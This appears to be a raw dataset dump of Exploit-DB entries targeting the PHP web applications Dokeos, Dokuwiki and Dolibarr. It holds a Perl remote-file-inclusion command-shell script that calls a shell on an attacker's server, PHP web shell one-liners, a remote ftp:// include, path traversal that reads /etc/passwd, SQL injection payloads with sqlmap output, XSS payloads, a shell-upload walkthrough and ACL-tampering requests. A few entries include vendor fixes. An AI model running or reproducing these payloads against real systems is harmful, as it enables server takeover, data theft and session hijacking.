deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4753
Description: Dokeos 1.8.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2007-12-18
Author: RoMaNcYxHaCkEr

Exploit:
# Name : dokeos-1.8.4  Bypass Upload Shell From Your Profile (Your Cpanel)
# Download From : http://www.dokeos.com/download/dokeos-1.8.4.zip
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
# Google Dork : Platform Dokeos 1.8.4 Â© 2007
============================================================================
# Explantion By Video:
http://www.mediafire.com/?92em2pjx0s1
# Explantion Exploit :
First You Must Register In Script Ok :
http://localhost/dokeos/main/auth/inscription.php
And Enter By Username And Your Password The Enter Here Your Profile You Can See That Above :
http://localhost/dokeos/main/auth/profile.php
Then You See Choice My productions And See Browser Rename Your Shell To Shell.php.rar Then Choose Ok In Final
Then Enter Here And See Your Profiles And If You Online Or Not
http://localhost/dokeos/whoisonline.php
And Search Your Username And Enter Your Profile
Then You See All Information Which You Added !! Like That:
Productions
sniper.php.rar
See That Enter Your Name Shell And See Link Your Shell Like Me Here
http://localhost/dokeos/main/upload/users/4/sniper.php.rar
That,s All :)
Good Luck Everybody
============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
H-T TeaM (no-hack.fr)
Str0ck
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
# For Contact : RxH@HotMail.iT
Best Wishes

# milw0rm.com [2007-12-18]
Exploit-DB #35347
Description: Dokeos 1.8.6 2 - 'style' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-12
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46370/info

Dokeos is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Dokeos 1.8.6.2 is vulnerable; other versions may also be affected.

http://www.example.com/dokeos/main/inc/latex.php?code=%22style=%22top:0;position:absolute;width:9999px;height:9999px;%22onmouseover%3d%22alert(0)
Exploit-DB #30925
Description: Dokeos 1.x - '/forum/viewforum.php?forum' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-22
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/26992/info
 
Dokeos is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
These issues affect Dokeos 1.8.4 and earlier versions. 

http://www.example.com/main/forum/viewforum.php?cidReq=[Forum-ID]&forum=XSS
Exploit-DB #30924
Description: Dokeos 1.x - '/forum/viewthread.php?forum' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-22
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/26992/info

Dokeos is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect Dokeos 1.8.4 and earlier versions. 

http://www.example.com/main/forum/viewthread.php?forum=XSS
Exploit-DB #30926
Description: Dokeos 1.x - '/work/work.php?display_upload_form Action origin' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-22
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/26992/info
  
Dokeos is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
These issues affect Dokeos 1.8.4 and earlier versions.

http://www.example.com/main/work/work.php?cidReq=[Forum-ID]&curdirpath=/&display_upload_form=true&origin=XSS
Exploit-DB #27622
Description: Dokeos 1.x - 'viewtopic.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-11
Author: Alvaro Olavarria

Exploit:
source: https://www.securityfocus.com/bid/17463/info

Dokeos is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/claroline/phpbb/viewtopic.php?cidReq=102&gidReq=&forum=1&0&forumview=threaded&topic=1[blind_sql_inject]
Exploit-DB #39952
Description: Dokeos 2.2.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2016-06-15
Author: Mormoroth

Exploit:
# Exploit Title: Dokeos Blind SQL Injection
# Date: 2016-06-14
# Exploit Author: Mormoroth
# Exploit Author Blog: http://ha.cker.ir
# Vendor Homepage: http://www.dokeos.com/
# Software Link: http://jaist.dl.sourceforge.net/project/dokeos/dokeos-2.1.1.zip
# Version: 2.2.1
# Tested on: Ubuntu
# Twitter : https://twitter.com/Mormoroth
------
Note : hackme.com is localdomain on lab , not a live website
------
VULNERABILITY
curdirpath in slidshow.php is vulnerable to time-based blind sqlinjection
------
POC :

Payload: http://hackme.com:80/dokeos-2.1.1/main/document/slideshow.php?cidReq=123&curdirpath=' AND (SELECT * FROM (SELECT(SLEEP(5)))Pfag) AND 'NFwV'='NFwV&slide_id=all
------
Exploiting vulnerability with Sqlmap
Note : to exploit with sqlmap you should use --tamper=between option to retrieve data
------
Parameter: #1* (URI)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://hackme.com:80/dokeos-2.1.1/main/document/slideshow.php?cidReq=123&curdirpath=' AND (SELECT * FROM (SELECT(SLEEP(5)))Pfag) AND 'NFwV'='NFwV&slide_id=all
------
[22:25:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7
back-end DBMS: MySQL 5.0.12
[22:25:09] [INFO] fetching current database
[22:25:09] [INFO] resumed: dokeos_main
current database:    'dokeos_main'
[22:25:09] [INFO] fetched data logged to text files under 'C:\Users\Mort\.sqlmap\output\hackme.com'

C:\Users\Mort\Desktop\Apps\sqlmap>
------
Exploit-DB #6149
Description: Dokeos E-Learning System 1.8.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-28
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-029


Application:                    Dokeos E-Learning System
Versions Affected:              1.8.5
Vendor URL:                     http://dokeos.com/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       01.07.2008
Vendor response:                05.07.2008
Solution:                       YES
Date of Public Advisory:        17.07.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Dokeos E-Learning System system has local file include vulnerability in script user_portal.php

Vulnerable GET parameter "include".

Registered user can use this vulnerability.

Code
****
#################################################

if (!empty ($_GET['include']) && !strstr($_GET['include'], '/') && strstr($_GET['include'], '.html'))
{
        include ('./home/'.$_GET['include']);
        $pageIncluded = true;
}
else
..

#################################################

Example:

http://[server]/[installdir]/user_portal.php?include=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00.html


Fix Information

***************

you can fix it following this official information http://www.dokeos.com/wiki/index.php/Security Or wait a new
release


Fixing this issue can be done by replacing line 770 of /user_portal.php by:

 if (!empty ($_GET['include']) && preg_match('/^[a-zA-Z0-9_-]*\.html$/',$_GET['include']))



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and
PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-07-28]
Exploit-DB #1765
Description: Dokeos Lms 1.6.4 - 'authldap.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-08
Author: beford

Exploit:
#!/usr/bin/perl
############
# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>
#
# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>
# 		perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable 
# includePath in a include() function without being declared. 
# This issue has already been fixed in current claroline.net version, 
# but dokeos still uses a  vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
	print "[shell] \$";
	while(<STDIN>)      {
		$cmd=$_;
		chomp($cmd);
		if (!$cmd) {last;}  
		$xpl = LWP::UserAgent->new() or die;
		$req = HTTP::Request->new(GET =>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
		$res = $xpl->request($req);
		$return = $res->content;
		$return =~ tr/[\n]/[ê]/;
		if ($return =~/Error: HTTP request failed!/ ) {
			print "\nInvalid path for phpshell\n";
			exit;
		} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
			print "\nInvalid Command, error.\n\n";
		}
		if ($return =~ /(.*)/) {
			$finreturn = $1;
			$finreturn=~ tr/[ê]/[\n]/;
			print "\r\n$finreturn\n\r";
			last;
		} else {
			print "[shell] \$";
		}
	}
} last;

sub head()  { 
	print "\n============================================================================\r\n";
	print "  Dokeos Learning Management System Remote File Include\r\n";
	print "============================================================================\r\n";
 }
 
sub usage() {
	head();
	print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
	print " <host> - Full Path : http://host/dokeos/ \r\n";
	print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
	print " <var> - var name used in phpshell : cmd  \r\n\r\n";
	exit();
 }

# milw0rm.com [2006-05-08]
Exploit-DB #8781
Description: Dokuwiki 2009-02-14 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-05-26
Author: girex

Exploit:
# Author_		girex
# Homepage_		girex.altervista.org

# CMS_			Dokuwiki
# Homepage_		dokuwiki.org

# Affected versions_	2009-02-14
			rc2009-02-06
			rc2009-01-30

# Bug_			Local file inclusion
# Need_			register_globals = On


# Vuln description_
# File:	/inc/init.php

  // if available load a preload config file
  $preload = fullpath(dirname(__FILE__)).'/preload.php';
  if (@file_exists($preload)) include($preload);

  ...

  //set the configuration cascade - but only if its not already been set in preload.php
  global $config_cascade;
  if (empty($config_cascade)) {
    $config_cascade = array(
      'main' => array(
        'default'   => array(DOKU_CONF.'dokuwiki.php'),
        'local'     => array(DOKU_CONF.'local.php'),
        'protected' => array(DOKU_CONF.'local.protected.php'),
      ),
  
  ...

  // load the global config file(s)
  foreach (array('default','local','protected') as $config_group) {
    if (empty($config_cascade['main'][$config_group])) continue;
    foreach ($config_cascade['main'][$config_group] as $config_file) {
      if (@file_exists($config_file)) {
        include($config_file);
      }
    }
  }


# File preload.php doesn't exists. (so seems for the affected versions)
# So we can set $config_cascade arrays via register globals
# It's not a RFI couse use of file_exists function.

# First of all you can check the dokuwiki's version here:
# /[host]/[path]/VERSION
# and check if it's a vulnerable version

# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./README

# Note:
# You can obtain a remote command execution if you can edit the content of a page
# Just insert your php code into it like: <?php system($_GET[cmd]); ?>
# And include it:

# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt

# Or you can check if you have permissions to upload file via:
# [host]/[path]/lib/exe/mediamanager.php

# If so, upload your file with .doc extension then include it:

# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc

# milw0rm.com [2009-05-26]
Exploit-DB #8812
Description: Dokuwiki 2009-02-14 - Temporary/Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-05-26
Author: Nine:Situations:Group

Exploit:
Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
tested and working

I was reading: http://www.milw0rm.com/exploits/8781
by girex

[quote]
It's not a RFI couse use of file_exists function.
[/quote]

How wrong brother!

trick 1 (ftp:// wrapper with php 5):
needs register_globals = on
allow_url_fopen = On (default)
allow_url_include = On (not default)

http://[host]/dokuwiki-2009-02-14/doku.php?config_cascade[main][default][]=ftp://anonymous:anon@1.12.123.123/folder/sh.php&cmd=ls%20-la>out.txt

trick 2:
needs register_globals = on
file_uploads = On (default)

include a temporary file passed by the $_FILES[] array:

<form action="http://[host]/dokuwiki-2009-02-14/doku.php?cmd=ls%20-la" method="post" enctype="multipart/form-data" target="_self">
<input name="config_cascade[main][default][]" type="file">
<input type="submit" value="submit">
</form>

where your shell is like:
<?php passthru($_GET[cmd]); die();?>

because when there is no prefix or suffix for the affected var, it remains like this:
/path_to_temporary_folder/php93.tmp !


Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/

# milw0rm.com [2009-05-26]
Exploit-DB #11141
Description: dokuwiki 2009-12-25 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-14
Author: IHTeam

Exploit:
Reported:        13-01-2010
Patched:        13-01-2010
Released:        14-01-2010
Vulnerable version :     
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-12-25.tgz
Patched version:    
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-12-25b.tgz
Author:            white_sheep
Contact:        white_sheep@ihteam.net - https://www.ihteam.net

--------------------  Show Outside Directory

PoC :

     http://server/plugins/acl/ajax.php?ajax=tree&ns=../pages/

     The bug allows listing the names of arbitrary file on the webserver 
- NOT THEIR CONTENTS.


--------------------  Arbitrary Change or Delete Wiki Permission

PoC :

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[save]=1&acl=(ACL) 

             add to acl.auth.php read or write authorization.

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[del]=1&acl=(ACL)
             delete from acl.auth.php an eventually authorization like 
(ACL).

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[update]=1&acl=(ACL)
             delete from acl.auth.php all authorization like (ACL).

     where (ACL) must be:
         1     -> read
         2     -> modified
         4     -> creation
         8     -> upload
         16     -> delete
Exploit-DB #47731
Description: Dokuwiki 2018-04-22b - Username Enumeration
Type: webapps
Platform: php
Date: 2019-12-02
Author: Talha ŞEN

Exploit:
# Exploit Title: Dokuwiki 2018-04-22b - Username Enumeration
# Date: 2019-12-01
# Exploit Author: Talha ŞEN
# Vendor Homepage: https://www.dokuwiki.org/dokuwiki
# Software Link: https://download.dokuwiki.org/
# Version: 2018-04-22b "Greebo"
# Tested on: 
# Alpine Linux 3.5 (docker image)
# PHP 5.6.30
# Apache/2.4.25 (Unix)
# CVE : 

# At login page there is a "set new password" page as below:
# Forgotten your password? Get a new one: Set new password
# At this page there is username enumeration vulnerability.
# Testing for non-valid user:

POST /doku.php?id=start&do=resendpwd HTTP/1.1

sectok=&do=resendpwd&save=1&login=sss

# Response for non-valid user(sss):

<div class="error">Sorry, we can't find this user in our database.</div>

========================================================================

# Testing for valid user:

POST /doku.php?id=start&do=resendpwd HTTP/1.1

sectok=&do=resendpwd&save=1&login=admin

# Response for valid user (admin):

<div class="error">There was an unexpected problem communicating with SMTP: Could not open SMTP Port.</div>
<div class="error">Looks like there was an error on sending the password mail. Please contact the admin!</div>
Exploit-DB #48504
Description: Dolibarr 11.0.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-22
Author: Mehmet Kelepçe

Exploit:
# Title: Dolibarr 11.0.3 - Persistent Cross-Site Scripting
# Author: Mehmet Kelepce / Gais Cyber Security
# Date : 2020-04-14
# Vendor: https://www.dolibarr.org/
# Exploit-DB Author ID: 8763
# Remotely Exploitable: Yes
# Dynamic Coding Language: PHP
# CVSSv3 Base Score: 7.4 (AV:N, AC:L, PR:L, UI:N, S:C, C:L, I:L, A:L)
# Bug: XSS - Cross Site Scripting
# CVE:
## this vulnerability was found by examining the source code.

PoC : Dolibarr 11.0.3 LDAP Synchronization Settings - HTTP POST REQUEST
##########################################################
POST /dolibarr/admin/ldap.php?action=setvalue HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/admin/ldap.php?action=test
Content-Type: application/x-www-form-urlencoded
Content-Length: 723
Connection: close
Cookie: DOLSESSID_08b25d38fe3d8c5d83c5477f93783b26=abml2gjafuuqcos5lm1053tqu6; DOLINSTALLNOPING_b832abc1aadf61021c84b3def6cdf1e6=0
Upgrade-Insecure-Requests: 1

token=%242y%2410%245CjT4.D4w8Qe.uaL.pHuSeDOW9PB2gnNQ7MhYrYUt7W8hq2R3oXBe&activesynchro=0&activecontact=0&type=activedirectory&LDAP_SERVER_PROTOCOLVERSION=3&host=%22%3E%3CEMBED+SRC%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI%2BYWxlcnQoJ0hlbGxvLCBEb2xpYmFyciEnKTs8L3NjcmlwdD48L3N2Zz4%3D%22+type%3D%22image%2Fsvg%2Bxml%22+AllowScriptAccess%3D%22always%22%3E%3C%2FEMBED%3E&slave=&port=389&dn=&usetls=0&admin=&pass=

Vulnerable parameters: host,slave,port
Payload (base64): PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoJ0hlbGxvLCBEb2xpYmFyciEnKTs8L3NjcmlwdD48L3N2Zz4=
Payload (decode) : <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss"><script type="text/ecmascript">alert('Hello, Dolibarr!');</script></svg>

Parameter file: /dolibarr/admin/ldap.php

## Risk : cookie information of the target user is obtained.
Exploit-DB #47362
Description: Dolibarr ERP-CRM 10.0.1 - 'elemid' SQL Injection
Type: webapps
Platform: php
Date: 2019-09-09
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: Dolibarr ERP/CRM - elemid Sql Injection
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://www.dolibarr.org/downloads
# Version: 10.0.1
# Category: Webapps
# Tested on: Xampp for Linux
# Software Description : Dolibarr ERP & CRM is a modern and easy to use
software package to manage your business...
==================================================================


elemid (POST) - Sql injection PoC


POST /dolibarr-10.0.1/htdocs/categories/viewcat.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/dolibarr-10.0.1/htdocs/categories/viewcat.php?id=102&type=product&backtopage=%2Fdolibarr-10.0.1%2Fhtdocs%2Fcategories%2Findex.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Cookie:
DOLSESSID_60ec554596b730ca6f03816d85cd400a=149432620a831537e75f713330bb0b45
Connection: close
Upgrade-Insecure-Requests: 1

token=%242y%2410%24WgwCdl0XwjnGlV3qpQ%2F7zeLEp%2FXFVVoWaj17gXqY2nYZFvG1dlzsS&typeid=product&type=product&id=102&action=addintocategory&elemid=[SQLi]



Parameter: elemid (POST)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (EXTRACTVALUE)
    Payload:
token=$2y$10$WgwCdl0XwjnGlV3qpQ/7zeLEp/XFVVoWaj17gXqY2nYZFvG1dlzsS&typeid=product&type=product&id=102&action=addintocategory&elemid=0
AND EXTRACTVALUE(7549,CONCAT(0x5c,0x71706a7171,(SELECT
(ELT(7549=7549,1))),0x7176787a71))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload:
token=$2y$10$WgwCdl0XwjnGlV3qpQ/7zeLEp/XFVVoWaj17gXqY2nYZFvG1dlzsS&typeid=product&type=product&id=102&action=addintocategory&elemid=0
AND (SELECT 6353 FROM (SELECT(SLEEP(5)))aOzn)